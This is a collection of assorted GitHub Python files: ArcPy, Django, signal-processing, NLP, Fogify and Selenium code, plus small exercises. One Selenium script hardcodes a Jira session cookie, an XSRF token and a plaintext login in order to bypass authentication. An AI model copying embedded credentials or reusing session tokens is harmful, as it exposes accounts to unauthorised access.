proto_abs): #type:ignore\n if error:\n raise AcabProtocolError(target_cls, proto)\n logging.warning(str(AcabProtocolError(target_cls, proto)))\n\n\n return target_cls\n\n return __wrapper\n\n @staticmethod\n def assert_concrete(target_cls:None|type=None, *, exceptions:None|list[str]|set[str]|frozenset[str]=None, error:bool=True) -> Callable[..., type]:\n \"\"\"\n Raise an Error (or warning) if the decorated class has abstractmethods\n (without waiting till instantiation)\n \"\"\"\n exceptions = set(exceptions or [])\n assert(isinstance(exceptions, set))\n def __wrapper(target_cls : type) -> type:\n has_abstract : bool = hasattr(target_cls, '__abstractmethods__')\n if not has_abstract:\n return target_cls\n\n if bool(target_cls.__abstractmethods__ - exceptions): #type:ignore\n if error:\n raise AcabProtocolError(target_cls)\n logging.warning(str(AcabProtocolError(target_cls)))\n\n return target_cls\n\n if target_cls is None:\n return __wrapper\n\n return __wrapper(target_cls)\n\n\n def __str__(self) -> str:\n assert(hasattr(self.target, \"__abstractmethods__\"))\n target_s : str = f\"{self.target.__module__}.{self.target.__qualname__}\" #type:ignore\n\n if self.protocol is not None:\n proto_s : str = f\"{self.protocol.__module__}.{self.protocol.__qualname__}\" #type:ignore\n missing = \", \".join(self.target.__abstractmethods__ & self.protocol.__abstractmethods__) #type:ignore\n msg = f\"Type is Abstract for Protocol: {target_s} : {proto_s}\\n\\tMissing: {missing}\"\n else:\n missing = \", \".join(self.target.__abstractmethods__) #type:ignore\n msg = f\"Class has AbstractMethods: {target_s}\\n\\tMissing: {missing}\"\n\n return msg\n","repo_name":"jgrey4296/acab_config","sub_path":"acab_config/error/protocol_error.py","file_name":"protocol_error.py","file_ext":"py","file_size_in_byte":3862,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"16055570558","text":"# -*- coding: iso-8859-15 -*-\r\nimport arcpy\r\nimport os\r\nimport uuid\r\n \r\nWeb_Map_as_JSON = arcpy.GetParameterAsText(0)\r\n\r\noutput = 'WebMap_{}.txt'.format(str(uuid.uuid1()))\r\nOutput_File = os.path.join(arcpy.env.scratchFolder, output)\r\n\r\nf = open(Output_File, 'w')\r\nf.write(Web_Map_as_JSON)\r\nf.close\r\n\r\narcpy.SetParameterAsText(1, Output_File)\r\narcpy.AddMessage(\"***FIN***\")","repo_name":"RodrigoInosh/CalculoPredictivo","sub_path":"ImprimirJSON.py","file_name":"ImprimirJSON.py","file_ext":"py","file_size_in_byte":387,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"17091467974","text":"import sys\nfrom model003.model import MCActor as MCActor003\n\nimport torch.nn.functional as F\nfrom torch.utils.data import DataLoader\nimport numpy as np\n\nsys.path.append('./model004')\nfrom utils import device, pdump, pload\nfrom utils import WRSNDataset\nfrom utils import WrsnParameters as wp, DrlParameters as dp\nimport os\nimport torch\nimport random_strategy\nimport main as model002\nimport utils\n\n\ndef run_model003(data_loader, name, save_dir, wp, max_step=1000):\n actor = MCActor003(dp.MC_INPUT_SIZE,\n dp.DEPOT_INPUT_SIZE,\n dp.SN_INPUT_SIZE,\n dp.hidden_size,\n dp.dropout).to(device)\n\n save_dir = os.path.join(save_dir, name)\n checkpoint = 'model003/checkpoints/mc_20_10_3_small/0'\n path = os.path.join(checkpoint, 'actor.pt')\n actor.load_state_dict(torch.load(path, device))\n\n ret = model002.validate(data_loader, model002.decision_maker, (actor,), wp=wp, max_step=max_step,\n render=False, verbose=False)\n return ret\n\nif __name__ == '__main__':\n np.set_printoptions(suppress=True)\n torch.set_printoptions(sci_mode=False)\n seed=123\n torch.manual_seed(seed-1)\n np.random.seed(seed-2)\n dataset = WRSNDataset(20, 10, 1, 1)\n wp.k_bit = 6000000\n data_loader = DataLoader(dataset, 1, False, num_workers=0)\n actor = MCActor003(dp.MC_INPUT_SIZE,\n dp.DEPOT_INPUT_SIZE,\n dp.SN_INPUT_SIZE,\n dp.hidden_size,\n dp.dropout).to(device)\n\n checkpoint = 'model003/checkpoints/mc_20_10_3_small/4'\n path = os.path.join(checkpoint, 'actor.pt')\n actor.load_state_dict(torch.load(path, device))\n\n model002.validate(data_loader, model002.decision_maker, (actor,), wp=wp, max_step=1000,\n render=False, verbose=False)\n","repo_name":"ngocbh/odmc-wrsn-benchmark","sub_path":"model003.py","file_name":"model003.py","file_ext":"py","file_size_in_byte":1856,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"61"}
+{"seq_id":"44061375761","text":"from django.conf import settings as django_settings\n\ndef settings(request):\n \"\"\" Exposes some project settings in template context\n\n Exposed as a dict under `settings` template var.\n \"\"\"\n d = {\n 'settings': {k: getattr(django_settings, k, '')\n for k in django_settings.TEMPLATE_SETTINGS}\n }\n return d\n","repo_name":"vegaelle/atable","sub_path":"atable/recipes/context_processors.py","file_name":"context_processors.py","file_ext":"py","file_size_in_byte":347,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"61"}
+{"seq_id":"72037043714","text":"import sys\nimport os\nimport binascii\nimport re\n\n# Converts a header file to restructured text documentation\n#\n# All text in /** */ comments becomes restructured text. Everything else is\n# included as a code-block with C syntax highlighting.\n#\n# The beginning and end of the header are removed.\n# - Find the first /** */ comment -> start of the documentation\n# - Find the last line beginning with \"#ifdef\" -> end of the documentation\n\nremove_keyword = [\" UA_EXPORT\", \" UA_FUNC_ATTR_WARN_UNUSED_RESULT\",\n \" UA_FUNC_ATTR_MALLOC\"]\n\ndef clean_comment(line):\n m = re.search(\"^( \\* |/\\*\\* )(.*?)( \\*/)?$\", line)\n if not m:\n return \"\\n\"\n return m.group(2) + \"\\n\"\n\ndef clean_line(line):\n for keyword in remove_keyword:\n line = line.replace(keyword, \"\")\n return line\n\ndef comment_start(line):\n m = re.search(\"^/\\*\\*[ \\n]\", line)\n if not m:\n return False\n return True\n\ndef comment_end(line):\n m = re.search(\" \\*/$\", line)\n if not m:\n return False\n return True\n\ndef first_line(c):\n \"Searches for the first comment\"\n for i in range(len(c)):\n if comment_start(c[i]):\n return i\n return -1\n\ndef last_line(c):\n \"Searches for the latest ifdef (closing the include guard)\"\n last = 1\n for i in range(1, len(c)):\n m = re.search(\"^#ifdef\", c[i])\n if m:\n last = i\n return last\n\nif len(sys.argv) < 2:\n print(\"Usage: python c2rst.py input.c/h output.rst\")\n exit(0)\n\nwith open(sys.argv[1]) as f:\n c = f.readlines()\n\nwith open(sys.argv[2], 'w') as rst:\n in_doc = False\n for i in range(first_line(c), last_line(c)):\n line = c[i]\n doc_start = False\n doc_end = False\n if in_doc:\n doc_end = comment_end(line)\n line = clean_comment(line)\n else:\n doc_start = comment_start(line)\n if doc_start:\n doc_end = comment_end(line)\n line = clean_comment(line)\n\n if doc_start:\n in_doc = True\n\n if not ((doc_start or doc_end) and line == \"\\n\"):\n if not in_doc:\n line = \" \" + line\n rst.write(clean_line(line))\n\n if doc_end:\n rst.write(\"\\n.. code-block:: c\\n\\n\")\n in_doc = False\n rst.write(\"\\n\")\n","repo_name":"josiasyoumbi/windowsopcuaclient","sub_path":"tools/c2rst.py","file_name":"c2rst.py","file_ext":"py","file_size_in_byte":2312,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"29042059291","text":"import time\n\nfrom selenium import webdriver\nfrom selenium.webdriver.common.by import By\n\n# driver = webdriver.Chrome()\n# driver.implicitly_wait(10)\n# driver.get(\"http://jira.okaygis.com:10025/login.jsp\")\n# driver.maximize_window()\n# driver.find_element(By.XPATH, '//*[@id=\"login-form-username\"]').send_keys('caojingwei')\n# driver.find_element(By.XPATH, '//*[@id=\"login-form-password\"]').send_keys('123456')\n# driver.find_element(By.XPATH, '//*[@id=\"login-form-submit\"]').click()\n# print(driver.get_cookies())\n# c1 = driver.get_cookies()[0]\n# c2 = driver.get_cookies()[1]\n# driver.quit()\nc1 = {\n u'domain': u'jira.okaygis.com',\n u'httpOnly': False,\n u'name': u'atlassian.xsrf.token',\n u'path': u'/',\n u'secure': False,\n u'value': u'B4CV-1XT9-1KKA-BYB1|708418d74a6977d69a641a301494dae1f45d7916|lin'\n}\nc2 = {\n u'domain': u'jira.okaygis.com',\n u'httpOnly': True,\n u'name': u'JSESSIONID',\n u'path': u'/',\n u'secure': False,\n u'value': u'E8B0A1024CF1B2127C86C7F3CF7B92FF'\n}\ndriver = webdriver.Chrome()\ndriver.implicitly_wait(10)\ndriver.get(\"http://jira.okaygis.com:10025/secure/Dashboard.jspa\")\ndriver.maximize_window()\ndriver.add_cookie(c1)\ndriver.add_cookie(c2)\ntime.sleep(5)\ndriver.refresh()","repo_name":"1668583218/test","sub_path":"selenium/cookie操作.py","file_name":"cookie操作.py","file_ext":"py","file_size_in_byte":1224,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"9606403163","text":"\nimport pandas as pd\nfrom generic_operations import print_to_file\nimport global_variables as v\nimport nltk\nfrom nltk.translate.ribes_score import position_of_ngram\n\ndef baseline_tagging(transformed_text_list):\n\n tagged_records = [];\n for sentence in transformed_text_list:\n\n s = sentence.strip().split(\" \")\n\n flag = False\n while flag is False:\n if '' in s:\n s.remove('')\n if '' not in s:\n flag = True\n\n # regular expression used for noun phrase chunking\n grammar = \"NP: {*}\"\n cp = nltk.RegexpParser(grammar)\n\n # tagged_s is a list of tuples consisting of the word and its pos tag\n if '+' not in s:\n tagged_s = nltk.pos_tag(s)\n for c, word_pos_tag_tuple in enumerate(tagged_s):\n word, pos_tag = word_pos_tag_tuple\n # only searching for the original verb\n if 'VB' in pos_tag:\n s[c] = word + '='\n elif 'JJ' in pos_tag:\n s[c] = word + '#'\n\n #noun phrase chunking for items detection\n result = cp.parse(tagged_s)\n for subtree in result.subtrees():\n if subtree.label() == 'NP':\n t = subtree\n noun_phrase_chunk = ' '.join(word for word, pos in t.leaves())\n tagged_noun_phrase_chunk = '~'.join(word for word, pos in t.leaves())\n starting_index_noun_phrase_chunk = position_of_ngram(tuple(noun_phrase_chunk.split()), s)\n s[starting_index_noun_phrase_chunk] = tagged_noun_phrase_chunk\n for i in range(1, len(t.leaves())):\n s[starting_index_noun_phrase_chunk + i] = ''\n\n s = [x for x in s if x]\n string_to_print = ' '.join(s)\n tagged_records.append(string_to_print)\n else:\n string_to_print = ' '.join(s)\n tagged_records.append(string_to_print)\n\n print_to_file(v.baseline_output_path, tagged_records, v.output_headings)\n\ndef main():\n print(\"Starting tagging: baseline\")\n\n preprocessed_data = pd.read_excel(v.transformed_text_path_stage_4, sheet_name=v.input_file_sheet_name)\n selected_data = pd.DataFrame(preprocessed_data, columns=v.input_file_columns)\n transformed_text_list = list(selected_data[v.input_file_column])\n\n baseline_tagging(transformed_text_list);\n\n print(\"tagging: baseline tagging is complete\")\n print('Now run \"validation.py\" file')\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"uwasystemhealth/Maintenance_Work_Order_Processing_Pipeline_Public","sub_path":"src/baseline.py","file_name":"baseline.py","file_ext":"py","file_size_in_byte":2589,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"}
+{"seq_id":"71550294593","text":"import scipy.io\nfrom scipy.signal import savgol_filter\nimport numpy as np\nimport fullduplex as fd\nfrom keras.models import Model, Sequential\nfrom keras.layers import Dense, Input, SimpleRNN, Dropout\nfrom keras.optimizers import Adam\nimport matplotlib.pyplot as plt\nimport os\n\n# This line disables the use of the GPU for training. The dataset is not large enough to get\n# significant gains from GPU training and, in fact, sometimes training can even be slower on\n# the GPU than on the CPU. Comment out to enable GPU use.\nos.environ['CUDA_VISIBLE_DEVICES'] = '-1'\n\n# Define system parameters\nparams = {\n\t\t'samplingFreqMHz': 20,\t# Sampling frequency, required for correct scaling of PSD\n\t\t'hSILen': 13,\t\t\t# Self-interference channel length\n\t\t'pamaxordercanc': 7,\t# Maximum PA non-linearity order\n\t\t'trainingRatio': 0.9,\t# Ratio of total samples to use for training\n\t\t'dataOffset': 14,\t\t# Data offset to take transmitter-receiver misalignment into account\n\t\t'nHidden': 17,\t\t\t# Number of hidden layers in NN\n\t\t'nEpochs': 20,\t\t\t# Number of training epochs for NN training\n\t\t'learningRate': 0.004,\t# Learning rate for NN training\n\t\t'batchSize': 32,\t\t# Batch size for NN training\n\t\t}\n\n##### Load and prepare data #####\n\nx, y, noise, measuredNoisePower = fd.loadData('data/fdTestbedData20MHz10dBm', params)\n\n# Get self-interference channel length\nchanLen = params['hSILen']\n\n# Create feedforward NN using Keras\nnHidden = params['nHidden']\nnEpochs = params['nEpochs']\ninput = Input(shape=(2*chanLen,))\nhidden1 = Dense(nHidden, activation='relu')(input)\noutput1 = Dense(1, activation='linear')(hidden1)\noutput2 = Dense(1, activation='linear')(hidden1)\nmodel = Model(inputs=input, outputs=[output1, output2])\nadam = Adam(lr=params['learningRate'])\nmodel.compile(loss = \"mse\", optimizer = adam)\nprint(\"Total number of real parameters to estimate for neural network based canceller: {:d}\".format((2*chanLen+1)*nHidden + 2*(nHidden+1)+2*chanLen))\n\n# Split into training and test sets\ntrainingSamples = int(np.floor(x.size*params['trainingRatio']))\nx_train = x[0:trainingSamples]\ny_train = y[0:trainingSamples]\nx_test = x[trainingSamples:]\ny_test = y[trainingSamples:]\n\n##### Training #####\n# Step 1: Estimate linear cancellation arameters and perform linear cancellation\nhLin = fd.SIestimationLinear(x_train, y_train, params)\nyCanc = fd.SIcancellationLinear(x_train, hLin, params)\n\n# Normalize data for NN\nyOrig = y_train\ny_train = y_train - yCanc\nyVar = np.var(y_train)\ny_train = y_train/np.sqrt(yVar)\n\n# Prepare training data for NN\nx_train_real = np.reshape(np.array([x_train[i:i+chanLen].real for i in range(x_train.size-chanLen)]), (x_train.size-chanLen, chanLen))\nx_train_imag = np.reshape(np.array([x_train[i:i+chanLen].imag for i in range(x_train.size-chanLen)]), (x_train.size-chanLen, chanLen))\nx_train = np.zeros((x_train.size-chanLen, 2*chanLen))\nx_train[:,0:chanLen] = x_train_real\nx_train[:,chanLen:2*chanLen] = x_train_imag\ny_train = np.reshape(y_train[chanLen:], (y_train.size-chanLen, 1))\n\n# Prepare test data for NN\nyCanc = fd.SIcancellationLinear(x_test, hLin, params)\nyOrig = y_test\ny_test = y_test - yCanc\ny_test = y_test/np.sqrt(yVar)\n\nx_test_real = np.reshape(np.array([x_test[i:i+chanLen].real for i in range(x_test.size-chanLen)]), (x_test.size-chanLen, chanLen))\nx_test_imag = np.reshape(np.array([x_test[i:i+chanLen].imag for i in range(x_test.size-chanLen)]), (x_test.size-chanLen, chanLen))\nx_test = np.zeros((x_test.size-chanLen, 2*chanLen))\nx_test[:,0:chanLen] = x_test_real\nx_test[:,chanLen:2*chanLen] = x_test_imag\ny_test = np.reshape(y_test[chanLen:], (y_test.size-chanLen, 1))\n\n##### Training #####\n# Step 2: train NN to do non-linear cancellation\nhistory = model.fit(x_train, [y_train.real, y_train.imag], epochs = nEpochs, batch_size = params['batchSize'], verbose=2, validation_data= (x_test, [y_test.real, y_test.imag]))\n\n##### Test #####\n# Do inference step\npred = model.predict(x_test)\nyCancNonLin = np.squeeze(pred[0] + 1j*pred[1], axis=1)\n\n##### Evaluation #####\n# Get correctly shaped test and cancellation data\ny_test = yOrig[chanLen:]\nyCanc = yCanc[chanLen:]\n\n# Calculate various signal powers\nnoisePower = 10*np.log10(np.mean(np.abs(noise)**2))\nscalingConst = np.power(10,-(measuredNoisePower-noisePower)/10)\nnoise /= np.sqrt(scalingConst)\ny_test /= np.sqrt(scalingConst)\nyCanc /= np.sqrt(scalingConst)\nyCancNonLin /= np.sqrt(scalingConst)\n\n# Plot PSD and get signal powers\nnoisePower, yTestPower, yTestLinCancPower, yTestNonLinCancPower = fd.plotPSD(y_test, yCanc, yCancNonLin, noise, params, 'NN', yVar)\n\n# Print cancellation performance\nprint('')\nprint('The linear SI cancellation is: {:.2f} dB'.format(yTestPower-yTestLinCancPower))\nprint('The non-linear SI cancellation is: {:.2f} dB'.format(yTestLinCancPower-yTestNonLinCancPower))\nprint('The noise floor is: {:.2f} dBm'.format(noisePower))\nprint('The distance from noise floor is: {:.2f} dB'.format(yTestNonLinCancPower-noisePower))\n\n# Plot learning curve\nplt.plot(np.arange(1,len(history.history['loss'])+1), -10*np.log10(history.history['loss']), 'bo-')\nplt.plot(np.arange(1,len(history.history['loss'])+1), -10*np.log10(history.history['val_loss']), 'ro-')\nplt.ylabel('Self-Interference Cancellation (dB)')\nplt.xlabel('Training Epoch')\nplt.legend(['Training Frame', 'Test Frame'], loc='lower right')\nplt.grid(which='major', alpha=0.25)\nplt.xlim([ 0, nEpochs+1 ])\nplt.xticks(range(1,nEpochs,2))\nplt.savefig('figures/NNconv.pdf', bbox_inches='tight')\nplt.show()\n","repo_name":"abalatsoukas/fdnn","sub_path":"NNCancellation.py","file_name":"NNCancellation.py","file_ext":"py","file_size_in_byte":5452,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"61"}
+{"seq_id":"30899278330","text":"import copy\nfrom abc import ABC\n\nfrom FogifyModel.actions import NetworkAction\n\n\nclass BaseModel(ABC):\n class ModelValidationException(Exception):\n pass\n\n def __init__(self, data=None):\n self.__dict__ = data if data is not None else {}\n self.validate()\n\n def __repr__(self):\n return self.__str__()\n\n def validate(self):\n \"\"\"This method validates the model\"\"\"\n pass\n\n\nclass Node(BaseModel):\n name = ''\n capabilities = {}\n node_specifications = []\n\n def __str__(self):\n return \"cpu: %s, memory: %s, node specifications: %s\" % (\n self.capabilities['processor'], self.capabilities['memory'], self.node_specifications)\n\n def get_memory_unit(self) -> str:\n return self.get_memory()[-1]\n\n def get_memory(self) -> str:\n return self.capabilities['memory']\n\n def get_memory_value_in_gb(self) -> float:\n return float(self.get_memory()[:-1]) if self.get_memory_unit() == \"G\" else float(self.get_memory()[:-1]) / 1024\n\n def get_processor_cores(self):\n return int(self.capabilities['processor']['cores'])\n\n def get_processor_clock_speed(self):\n return int(self.capabilities['processor']['clock_speed'])\n\n def get_specifications(self) -> []:\n return self.node_specifications\n\n def validate(self):\n if self.get_memory_unit() not in [\"G\", \"M\"]:\n raise Node.ModelValidationException(\"Model does not provide other metrics than G or M\")\n\n\nclass Network(BaseModel):\n \"\"\" This class is the intermediate model of the network model\"\"\"\n capacity = None\n uplink = {}\n downlink = {}\n links = []\n packet_level_monitoring = False\n firewall_rules = []\n\n @classmethod\n def get_bidirectional_links(cls, input):\n res = copy.deepcopy(input)\n latency = res.get('latency', {}).get('delay')\n if latency:\n latency = str(latency).strip()\n latency_metric = \"ms\"\n if latency.endswith('ms'):\n latency = latency[:-2]\n if latency.endswith('s'):\n latency = latency[:-1]\n latency_metric = \"s\"\n res['latency']['delay'] = \"%.2f\" % (float(latency) / 2) + latency_metric\n deviation = res.get('latency', {}).get('deviation')\n if latency and deviation:\n deviation = res['latency']['deviation']\n deviation = deviation.strip()\n deviation_metric = \"ms\"\n if deviation.endswith('ms'):\n deviation = deviation[:-2]\n if deviation.endswith('s'):\n deviation = deviation[:-1]\n deviation_metric = \"s\"\n res['latency']['deviation'] = \"%.2f\" % (float(deviation) / 2) + deviation_metric\n if 'drop' in res:\n drop = res['drop'].strip()\n drop = drop[:-1] if drop.endswith('%') else drop\n res['drop'] = \"%.2f\" % (float(drop) / 2) + '%'\n return NetworkAction(**res)\n\n def get_uplink(self):\n if self.uplink != {}:\n return NetworkAction(**self.uplink)\n elif hasattr(self, 'bidirectional'):\n return self.get_bidirectional_links(copy.deepcopy(self.bidirectional))\n else:\n raise Network.ModelValidationException(\n \"You have to specify uplink or bidirectional characteristics (%s)\" % self.__dict__)\n\n def get_downlink(self):\n if self.downlink != {}:\n return NetworkAction(**self.downlink)\n elif hasattr(self, 'bidirectional'):\n return self.get_bidirectional_links(copy.deepcopy(self.bidirectional))\n else:\n raise Network.ModelValidationException(\n \"You have to specify uplink or bidirectional characteristics (%s)\" % self.__dict__)\n\n def __str__(self):\n return \"uplink: %s , downlink: %s \" % (self.get_uplink(), self.get_uplink())\n\n @property\n def get_links(self):\n res = []\n for i in self.links:\n res.extend(self.get_link(i))\n return res\n\n @classmethod\n def get_link(cls, link):\n temp = []\n from_to, to_from = cls.get_link_rules(copy.deepcopy(link))\n if from_to:\n temp.append(dict(from_node=link['from_node'], to_node=link['to_node'], command=from_to))\n if to_from:\n temp.append(dict(from_node=link['to_node'], to_node=link['from_node'], command=to_from))\n return temp\n\n @classmethod\n def get_link_rules(cls, link):\n from_to, to_from = None, None\n if 'from_node' in link and 'to_node' in link:\n if 'properties' in link:\n from_to = {'uplink': cls.get_bidirectional_links(link['properties']).get_command(),\n 'downlink': cls.get_bidirectional_links(link['properties']).get_command(), }\n\n elif 'uplink' in link and 'downlink' in link:\n from_to = {'uplink': NetworkAction(**link['uplink']).get_command(),\n 'downlink': NetworkAction(**link['downlink']).get_command()}\n else:\n raise Network.ModelValidationException(\"The link has not the proper structure\", str(link))\n if 'bidirectional' in link and link['bidirectional']:\n to_from = {'uplink': from_to['uplink'], 'downlink': from_to['downlink'], }\n return from_to, to_from\n\n @property\n def network_record(self):\n res = {}\n if self.capacity is not None: res['capacity'] = self.capacity\n res['uplink'] = self.get_uplink().get_command()\n res['downlink'] = self.get_downlink().get_command()\n res['packet_level_monitoring'] = self.get_packet_level_monitoring()\n res['firewall_rules'] = self.get_firewall_rules()\n return res\n\n def get_packet_level_monitoring(self):\n return str(self.packet_level_monitoring).lower() == 'true'\n\n def get_firewall_rules(self):\n return self.firewall_rules\n\n\nclass Topology(object):\n \"\"\" This class represents a topology object capable to be translated to the underlying container orchestrator\"\"\"\n\n def __init__(self, node, service, label, replicas=1, networks=None):\n self.node = node\n self.service = service\n self.label = label\n self.replicas = replicas\n self.networks = networks if networks else []\n\n def __str__(self):\n return \"node: %s, service: %s, replicas: %s, networks: %s \" % (\n self.node, self.service, self.replicas, self.networks)\n\n @property\n def service_name(self):\n return \"%s\" % (self.label)\n\n\nclass Deployment(BaseModel):\n \"\"\"\n This class represents a deployment of a topology. In the deployment, there are many topologies,\n however, in the first version of Fogify users can only deploy one topology.\n \"\"\"\n\n topology = []\n\n def get_topologies(self):\n return [Topology(**i) for i in self.topology]\n\n def __str__(self):\n return str([str(i) for i in self.get_topologies()])\n\n\nclass FogifyModel(object):\n \"\"\"\n This class is responsible for parsing and translating the Fogify's model to an abstract representation.\n \"\"\"\n\n nodes = []\n networks = []\n deployments = []\n\n def __init__(self, data):\n fogify = data[\"x-fogify\"]\n self.services = data[\"services\"] if \"services\" in data else []\n self.nodes = [Node(i) for i in fogify['nodes']] if 'nodes' in fogify else []\n self.networks = [Network(i) for i in fogify['networks']] if 'networks' in fogify else []\n self.deployment = Deployment({\"topology\": fogify['topology']}) if 'topology' in fogify else None\n\n @property\n def all_networks(self):\n res = [{'name': network.name} for network in self.networks]\n res = self.__get_networks_from_services(res)\n return res\n\n def __get_networks_from_services(self, res):\n for topology in self.topology:\n service = copy.deepcopy(self.services[topology.service])\n if 'networks' not in service: continue\n for network in service['networks']:\n if network not in [i['name'] for i in res]:\n res.append({\"name\": network})\n return res\n\n @property\n def topology(self):\n return self.deployment.get_topologies()\n\n def __repr__(self):\n return \"Nodes: %s , Networks: %s , Deployment: %s , Services: %s\" % (\n self.nodes, self.networks, self.deployment, self.services)\n\n def node_object(self, node_name):\n real_node = None\n for node in self.nodes:\n if node.name == node_name:\n real_node = node\n break\n if real_node is None:\n raise BaseModel.ModelValidationException(\"Model Error: the node specs do not exist\")\n return real_node\n\n def network_object(self, network_object):\n real_node = None\n extra_name = \"\"\n if type(network_object) == dict:\n up_down_links = 'uplink' not in network_object or 'downlink' not in network_object\n bidirectional = 'bidirectional' not in network_object\n name_exists = 'name' in network_object\n if up_down_links and bidirectional and name_exists:\n extra_name = network_object['name']\n if type(network_object) == str:\n extra_name = network_object\n for node in self.networks:\n if node.name == extra_name:\n real_node = node\n break\n\n if real_node is None and type(network_object) != str: return Network(network_object)\n\n if real_node is None: raise BaseModel.ModelValidationException(\"Model Error: the network specs do not exist\")\n\n return real_node\n\n def service_count(self):\n res = sum([i.replicas for i in self.topology])\n if res == 0:\n raise BaseModel.ModelValidationException(\"Services do not exist in your model\")\n return res\n\n @property\n def topology(self): return self.deployment.get_topologies()\n\n def generate_network_rules(self):\n res = {}\n mode_topology = self.topology\n for fognode in mode_topology:\n res[fognode.service_name] = {}\n for network_name in fognode.networks:\n network = self.network_object(network_name)\n\n if network is None: continue\n\n if fognode.service_name not in res:\n res[fognode.service_name] = network.network_record\n\n res[fognode.service_name][network.name] = network.network_record\n res[fognode.service_name][network.name]['links'] = [i for i in network.get_links if\n i['from_node'] == fognode.service_name]\n\n return res\n","repo_name":"UCY-LINC-LAB/fogify","sub_path":"FogifyModel/base.py","file_name":"base.py","file_ext":"py","file_size_in_byte":10746,"program_lang":"python","lang":"en","doc_type":"code","stars":24,"dataset":"github-code","pt":"61"}
+{"seq_id":"3722732876","text":"\"\"\"\r\n@author VRAJ PATEL (20CE111)\r\n\"\"\"\r\n#Write a Python program to find the most common elements and their counts from list, tuple, dictionary.\r\n#most common from list\r\ndef commonelementfinder(list):#this is a function which will take list/tuple as argument and then it will convert them to set and return the most common element in them\r\n return max(set(list), key = list.count)#i have used this function to find common element and count function to count the frequency of the common element\r\nprint('Q5) Write a Python program to find the most common elements and their counts from list, tuple, dictionary.'.title())\r\nprint('now implementing the following Question ...'.title(),'\\n')\r\nLIST = [8, 4, 8, 4, 44, 88,8,8,888,444,444,8888,8,4,8,8,4]\r\na=commonelementfinder(LIST)\r\nprint('This is the list from which we are going to find most common element and its count : '.title(),LIST,'\\nThe most common element from the above list is : '.title(),a,'and it occurs '.title(),LIST.count(a),'times in the list'.title(),'\\n')\r\n#most common from tuple\r\nTUP = (888, 4, 88, 4, 4,4,4,8,888,444,444,8888,8,4,4,8,4)\r\na=commonelementfinder(TUP)\r\nprint('This is the tuple from which we are going to find most common element and its count : '.title(),TUP,'\\nThe most common element from the above tuple is : '.title(),a,'and it occurs '.title(),TUP.count(a),'times in the Tuple'.title(),'\\n')\r\n#most common from dictionary\r\nDICT={1:88,2:22,3:33,4:88,5:88,6:44,7:34,8:88}\r\nLiST=list(DICT.values())\r\na=commonelementfinder(LiST)\r\nprint('This is the Dictionary from which we are going to find most common element and its count : '.title(),DICT,'\\nThe most common element from the above dictionary is : '.title(),a,'and it occurs '.title(),LiST.count(a),'times in the Dictonary'.title())\r\n","repo_name":"Vraj08/PythonPractical","sub_path":"set_1.5.py","file_name":"set_1.5.py","file_ext":"py","file_size_in_byte":1772,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"6234017344","text":"# coding=utf-8\n\nimport logging\nfrom os import renames\nfrom os.path import isfile\n\nclass ConfigureLogger(object):\n\n def __init__(self, logFile):\n self.logger = logging.getLogger('MediaCatalog')\n \n if isfile(logFile):\n renames(logFile, logFile + \".old\")\n \n self.fileHandler = logging.FileHandler(logFile)\n self.fileHandler.setFormatter(logging.Formatter(u'%(filename)s[LINE:%(lineno)d]# %(levelname)-8s [%(asctime)s] %(message)s'))\n \n self.consoleHandler = logging.StreamHandler()\n self.consoleHandler.setFormatter(logging.Formatter(u'%(filename)s[LINE:%(lineno)d]# %(levelname)-8s [%(asctime)s] %(message)s'))\n \n self.logger.setLevel(logging.DEBUG)\n self.logger.addHandler(self.fileHandler)\n \n def getLogger(self):\n return self.logger\n \n def setLogLevel(self, logLevel):\n if logLevel == 'CRITICAL':\n self.logger.setLevel(logging.CRITICAL)\n elif logLevel == 'ERROR':\n self.logger.setLevel(logging.ERROR)\n elif logLevel == 'WARN' or logLevel == 'WARNING':\n self.logger.setLevel(logging.WARNING)\n elif logLevel == 'INFO':\n self.logger.setLevel(logging.INFO)\n elif logLevel == 'DEBUG':\n self.logger.setLevel(logging.DEBUG)\n \n def plugOnConsoleHandler(self):\n self.logger.addHandler(self.consoleHandler)\n \n def plugOffConsoleHandler(self):\n self.logger.removeHandler(self.consoleHandler)\n\n def plugOnFileHandler(self):\n self.logger.addHandler(self.fileHandler)\n \n def plugOffFileHandler(self):\n self.logger.removeHandler(self.fileHandler)","repo_name":"DmitryErmolchik/MediaCatalog","sub_path":"configuration/configuredlogger.py","file_name":"configuredlogger.py","file_ext":"py","file_size_in_byte":1698,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"23574548331","text":"##import ???\n\n##fuck the fact that [[n]*k]*k creates multiple reference to the same list\n##fuck you very much\ndef cfill(cboard):\n n = len(cboard)\n adset = set()\n suset = set()\n for row in range(n):\n for col in range(n):\n if cboard[row][col]:\n adset.add(row + col)\n suset.add(row - col)\n fillboard = [[False] * n for i in range(n)]\n for row in [0, n-1]:\n for col in range(n):\n if row + col not in adset and row - col not in suset:\n fillboard[row][col] = True\n adset.add(row + col)\n suset.add(row - col)\n return fillboard\n \ndef xfill(xboard):\n n = len(xboard)\n rowset = set()\n colset = set()\n for row in range(n):\n for col in range(n):\n if xboard[row][col]:\n rowset |= set([row])\n colset |= set([col])\n fillboard = [[False] * n for i in range(n)]\n for row in range(n):\n for col in range(n):\n if row not in rowset and col not in colset:\n fillboard[row][col] = True\n rowset |= set([row])\n colset |= set([col])\n return fillboard\n \ndef main():\n\n ##f1=open(r'C:\\Users\\mumin\\Documents\\gcj\\testfile.in','r')\n ##f2=open(r'C:\\Users\\mumin\\Documents\\gcj\\testfile.out','w') \n f1=open(r'C:\\Users\\mumin\\Documents\\gcj\\D-small-attempt1.in','r')\n f2=open(r'C:\\Users\\mumin\\Documents\\gcj\\D-small-attempt1.out','w')\n 